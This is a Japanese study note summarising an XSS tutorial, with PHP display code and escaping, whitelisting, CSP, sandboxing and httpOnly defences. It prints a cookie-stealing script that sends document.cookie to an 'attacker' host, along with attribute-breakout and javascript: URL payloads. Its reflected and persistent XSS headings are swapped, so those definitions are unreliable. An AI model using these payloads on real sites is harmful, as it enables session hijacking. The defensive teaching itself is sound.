スクリプトインジェクション入門 覚え書き

スクリプトインジェクション入門 - QiitaというQiitaの記事を読んだので、自分なりにまとめておこうと思う。

スクリプトインジェクションとは

Webサーバにスクリプトを含むリクエストを送信して、ページ内にスクリプトを挿入する攻撃の総称。

この記事では大きく3種類に分けて説明している。

1.反射型
攻撃者がスクリプトを含むリクエストを送信してサーバに保存させる。保存されたスクリプトを組み込んだページを訪れた第三者にスクリプトを実行させる攻撃。
別名:Type-1、Persistent、Stored XSS

2.持続型
第三者にスクリプトを含むリクエストを送信させる。送信したスクリプトがページ内に差し込まれる脆弱性を利用して、リクエストを送信したページ上でスクリプトを実行させる攻撃送信したスクリプトはサーバに保存されない。
別名:Type-2、Non-Persistent、Reflected XSS

3.DOMベース
第三者にスクリプトを含むリクエストを送信させる攻撃だが、反射型との違いは、クライアントサイドスクリプト脆弱性を利用していること。
別名:Type-0、DOM Based XSS

クロスサイトスクリプティング(XSS)は抗議的な意味ではスクリプトインジェクション、狭義的俳味では反射型の事を指したりする。

実際に攻撃してみる

この記事では、自分で掲示板を用意し、それに攻撃を試みている。

掲示板はコメント掲載部分と投稿フォームが同じページにある簡易なもの。
投稿すると同じURLにPOSTして投稿が反映されるようになっているため、反射型の確認が行えるようになっている。

ケース1.コメントにスクリプトを挿入する

コメント表示部のPHP
<div class="text">
<?php echo $comment["text"]; ?>
</div>

表示部分がこんな作りだと、

こんにちわ!わたしトモチャン、よろしくね!(゚∀゚)ノ アヒャ
<script>
var img = document.createElement('img');
img.src = 'http://attacker/spacer.gif?c=' + encodeURI(document.cookie);
document.body.appendChild(img);
</script>

こんなコメントが入力されると

コメント表示部の実行結果
<div class="text">
こんにちわ!わたしトモチャン、よろしくね!(゚∀゚)ノ アヒャ
<script>
var img = document.createElement('img');
img.src = 'http://attacker/spacer.gif?c=' + encodeURI(document.cookie);
document.body.appendChild(img);
</script>
</div>

こんな出力になる。

有効なスクリプトとしてブラウザに解釈される事になるので、第三者がこの投稿を見るとスクリプトが実行され、タグのURL経由でクッキーが攻撃者が用意したサーバに送られる。

クッキーを手に入れると色々なことが出来るようになる。
クッキーの中にセッションIDが入っていれば、攻撃者はセッションを乗っ取ることができる。
パスワードの再設定を促すフォームを表示してフィッシングでパスワードを奪う。
定期的にXHRを回してDoS攻撃をさせる。
何でもできる。

対策

攻撃を防ぎたい場合は、htmlspecialchars関数でタグに使われる文字をエスケープする。

使い方は以下の通り

コメントのエスケープ
<div class="text">
<?php echo htmlspecialchars($comment["text"], ENT_QUOTES, 'UTF-8'); ?>
</div>

第二引数以降は省略できるようだが、セキュリティ上あまり良くないので書いておいた方が良いらしい。
理由としては、PHPはバージョンによって規定値が変わってしまうため。
第二引数はENT_QUOTESにしておくのが無難。
第三引数の文字コードは、バージョンによってデフォルト値が変わるので、明治鄭に指定しておくべき。

ケース2.リンクにスクリプトを挿入する

リンク表示部のPHP
<a href="<?php echo $comment['url']; ?>">リンク</a>

こんなリンクの作り方をしていると

送信するURL
#"><script>
alert('crack');
</script><a name="xss

こんな入力が来た時

リンク表示部の実行結果
<a href="#"><script>
alert('crack');
</script><a name="xss">リンク</a>

こんな出力になる。

これでもページにスクリプトが挿入できてしまう。

対策

入力をエスケープする

URLの表示部分
<a href="<?php echo htmlspecialchars($comment['url'], ENT_QUOTES, 'UTF-8'); ?>">リンク</a>

これだけだと、<script>タグはエスケープされるが、スクリプトを実行させるURLが入力された場合は対策できていない。

送信するURL  
javascript:alert('crack')  

http:やftp:だけでなく、URLスキームはjavascript:も指定できる。
リンクをクリックしたときにスクリプトが実行されるようになる。

厳密に値を入力検査する。
エスケープだけでなく入力検査を行う。

以下の入力検査を行うと、javascript:で始まるパターンをブロックできる。

function isUrl($url) {
  if (preg_match('/javascript:/', $url)){
    return false;
  }
  return true;
}

しかし、危険なURLを排除するエラーチェックの方法では防ぎきることはできない。

リンクとして認めるURLかどうかを調べるホワイトリスト方式が良い。

以下はhttp://またはhttps:///で始まるかどうかを判断している。

function isUrl($url) {
  if (!preg_match('/\Ahttps?:\/\//', $url)) {
    return false;
  }
  return true;
}

このチェックにさらにfilter_var 関数による URL チェックを入れても以下のような危険なURLが通ってしまう。

ラベルにスクリプトタグを含んでいる
http://attacker/#"><script>alert('crack')</script><a name="xss

エスケープも必ずやるようにするべきだろう。

XSS対策で共通する事

バイナリセーフではない関数を使わない

文字列の中にあるNULLバイト文字を文字列の終わりと見なすバイナリセーフでない関数がある。
それを利用して、パラメータにNULLバイト文字を混ぜるNULLバイト攻撃という手法がある。
NULLバイトを混ぜる事で、入力チェックをすり抜けることができる。
古いPHPの場合はバイナリセーフでない関数が使われている可能性があるので、注意。
新しいバージョンのPHPを使うべき。

インラインスクリプトにユーザの入力を展開しない

以下のようなものはインラインスクリプトである。

  • イベントハンドラのコード
  • scriptタグ内のコード
  • style属性内のコード
  • styleタグ内のコード

これらの指定場所にはJavaScriptCSSのコメントブロックが使える。
記述の幅が広く対策が難しいので、ユーザの入力展開を許すと非常に厄介。

現在、Chrome拡張開発では、インラインスクリプトが完全に禁止されている。

文字コードを指定する

文字化けを利用したスクリプトを混入される可能性があるので、適切な文字コードを指定しておくべき。

属性の値をダブルクオートで囲む

ダブルクオートで囲まない場合、エスケープしてもイベントハンドラスクリプトを挿入されてしまう。
シングルクオートも許されているが、htmlspecialcharsはシングルクオートがエスケープ対象になっていない。
使い方を間違えたとき危険。

積極的に予防する

iframeでサンドボックス化する

HTML5から追加されたサンドボックス機能を使うと、ページ内の<iframe>だけスクリプトが実行できないようになる。

<iframe src="commentList.php?p=1" sandbox="allow-forms"></iframe>

このように書くことで、iframe内のスクリプトの実行を禁止できる。
フォーム送信だけが許可されている。

サンドボックスは最近のブラウザでなければサポートされていないので注意

HTTPレスポンスヘッダでサンドボックス化する

iframeでサンドボックス化する方法以外にもう一つサンドボックス化する方法が提供されている。 これも新しい機能。

Content-Security-Policyというレスポンスヘッダを使って許可する動作やリソースをホワイトリスト方式で指定する。

このヘッダを指定することで、ほとんどの攻撃を防ぐことができる。
便利だけど手間がかかる。(ページ全体のリソースや動作についてホワイトリストで指定)

被害を軽減する

スクリプトにクッキーを読ませないようにする

// 設定を変えて PHP から発行するクッキーすべてを JavaScript から隠す場合
ini_set('session.cookie_httponly', 1);
// クッキーごとに個別に設定する場合(一番後ろの引数)
setcookie("key", "value", 0, "/", null, FALSE, TRUE);

クッキーにhttpOnly属性を付けることで、挿入されたJavaScriptからPHPで発行されたクッキーを取り出せなくなる。

TRACEメソッドを無効にする

httpOnly属性で指定したクッキーを読みだす方法
HTTPのメソッドにはGET/POST/HEAD以外にTRACEというメソッドである。
これを使うと、リクエストヘッダをそのままレスポンスボディに格納して応答できる。
スクリプトで使われると困るので、WEBサーバの設定でTRACEメソッドを無効にするのが無難

無効にする方法は以下の通り

httpd.confの場合
TraceEnable Off

最近のブラウザではIE6あたりくらいしか実行できる環境は無いらしい。

参考

スクリプトインジェクション入門 - Qiita